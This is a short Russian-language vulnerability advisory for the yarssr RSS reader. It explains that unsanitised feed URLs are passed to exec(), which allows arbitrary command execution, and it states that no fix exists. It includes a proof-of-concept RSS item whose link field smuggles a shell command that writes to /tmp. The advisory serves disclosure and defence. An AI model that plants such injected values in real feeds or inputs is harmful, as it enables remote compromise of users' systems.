Выполнение произвольных команд в yarssr

Описание:
Уязвимость позволяет удаленному пользователю скомпрометировать целевую систему.

Уязвимость существует из-за того, что модуль GUI.pm недостаточно обрабатывает данные в URL перед выполнением "exec()" для запуска браузера. Злоумышленник может с помощью специально сформированной силки на RSS источник выполнить произвольные команды на системе. Для успешной эксплуатации уязвимости требуется, чтобы была отключена обработка URL с помощью Gnome. Пример:

<?xml version="1.0" encoding="ISO-8859-1"?>
<rss version="2.0"
xmlns:blogChannel="http://www.example.com/blogChannelModule">
<channel>
<title>test feed</title>
<item>
<title>test post - create /tmp/created_file</title>
<link>http://www.example2.com";perl -e "print 'could run anything here' " >
"/tmp/created_file</link>
<pubDate>Fri, 26 Oct 2007 14:10:25 +0300</pubDate>
</item>
</channel>
</rss>

URL производителя: yarssr.sf.net

Решение: Способов устранения уязвимости не существует в настоящее время.